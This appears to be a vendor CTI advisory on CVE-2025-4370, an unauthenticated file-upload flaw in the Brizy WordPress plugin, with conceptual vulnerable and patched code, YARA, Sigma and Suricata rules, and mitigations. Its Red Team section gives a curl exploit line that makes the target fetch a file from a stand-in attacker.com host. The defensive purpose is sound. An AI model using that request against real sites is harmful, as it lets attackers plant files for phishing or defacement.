CVE-2025-4370

Executive Summary

CVE-2025-4370 is a security vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.6.20. The vulnerability allows unauthenticated attackers to upload arbitrary .TXT files to the affected server due to missing authorization checks on the process_external_asset_urls function and missing path validation in the store_file function. This is a WordPress ecosystem issue, not related to the underlying web server software.

The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild at this time. However, the lack of authentication requirements makes it a potential vector for file upload attacks, which could be chained with other vulnerabilities for further compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is Medium due to the ability to upload files without authentication, which could lead to defacement, phishing, or further exploitation if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability resides in two key functions within the Brizy plugin:

1. process_external_asset_urls: This function is intended to handle external asset URLs but lacks proper authorization checks. An unauthenticated attacker can trigger this function to initiate file uploads.

2. store_file: This function stores uploaded files but fails to validate the file path, allowing attackers to control where the .TXT file is saved. The lack of path traversal protection could allow files to be written outside the intended upload directory.

The attack flow:

• An unauthenticated attacker sends a crafted HTTP request to the WordPress site, targeting the Brizy plugin's AJAX endpoints.
• The request triggers process_external_asset_urls, which calls store_file with attacker-controlled parameters.
• The store_file function writes a .TXT file to the server without proper path validation.
• The attacker can then access the uploaded file via a web browser, potentially using it for phishing, defacement, or as a staging point for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 2.6.20. The following is a conceptual comparison:

Vulnerable Code (v2.6.20):

function process_external_asset_urls() {
    // No authorization check
    $url = $_POST['url'];
    $this->store_file($url);
}

function store_file($url) {
    // No path validation
    $filename = basename($url);
    $path = WP_CONTENT_DIR . '/uploads/' . $filename;
    file_put_contents($path, file_get_contents($url));
}

Patched Code (Hypothetical):

function process_external_asset_urls() {
    if (!current_user_can('upload_files')) {
        wp_die('Unauthorized');
    }
    $url = esc_url_raw($_POST['url']);
    $this->store_file($url);
}

function store_file($url) {
    $filename = sanitize_file_name(basename($url));
    $path = WP_CONTENT_DIR . '/uploads/brizy/' . $filename;
    if (strpos(realpath($path), realpath(WP_CONTENT_DIR . '/uploads/brizy/')) !== 0) {
        wp_die('Invalid path');
    }
    file_put_contents($path, file_get_contents($url));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Brizy plugin version <= 2.6.20 installed and activated.
• Network access to the WordPress admin AJAX endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: /wp-admin/admin-ajax.php?action=brizy_process_external_asset_urls
2. Craft a POST request with a malicious URL pointing to a .TXT file:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=brizy_process_external_asset_urls&url=http://attacker.com/evil.txt"

3. The file evil.txt will be uploaded to the WordPress uploads directory.
4. Access the uploaded file: http://target.com/wp-content/uploads/evil.txt

Note: No public exploit code is available at this time.

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-ajax.php with the action parameter set to brizy_process_external_asset_urls.
2. Check for unexpected .TXT files in the WordPress uploads directory.
3. Review web server logs for requests to admin-ajax.php with suspicious url parameters.

Hunting Query:

SELECT * FROM wp_posts WHERE post_type = 'attachment' AND post_mime_type = 'text/plain' AND post_date > '2025-01-01';

Indicators of Compromise (IOCs)

• File Hashes (SHA256): Unknown (no known samples)
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=brizy_process_external_asset_urls
  • Outbound connections to attacker-controlled servers from the WordPress host
• File System Indicators:
  • Unexpected .TXT files in /wp-content/uploads/ directory
  • Files with names matching patterns like *.txt in non-standard locations
• Log Indicators:
  • Web server logs showing POST /wp-admin/admin-ajax.php HTTP/1.1 with action=brizy_process_external_asset_urls

Detection Engineering

YARA Rule

rule CVE_2025_4370_Brizy_File_Upload {
    meta:
        description = "Detects Brizy plugin file upload vulnerability exploitation"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "CVE-2025-4370"
    strings:
        $func1 = "process_external_asset_urls" ascii wide nocase
        $func2 = "store_file" ascii wide nocase
        $ajax = "admin-ajax.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-4370 Brizy Unauthenticated File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-4370 in Brizy plugin
author: Valters IT
date: 2025-04-16
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=brizy_process_external_asset_urls'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4370 Brizy Unauthenticated File Upload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_process_external_asset_urls"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is released.
2. Implement Web Application Firewall (WAF) rules to block requests containing action=brizy_process_external_asset_urls.
3. Restrict file uploads by adding .htaccess rules to the uploads directory:

<FilesMatch "\.txt$">
    Order allow,deny
    Deny from all
</FilesMatch>

Long-term Fixes:

1. Apply vendor patch when available.
2. Upgrade to a patched version of the Brizy plugin.
3. Implement principle of least privilege for WordPress file permissions.
4. Regularly audit plugins for known vulnerabilities.

Workarounds:

• Use a security plugin like Wordfence to block malicious requests.
• Monitor file integrity with tools like Tripwire or OSSEC.

Report generated by Valters IT DevSecOps & CTI Division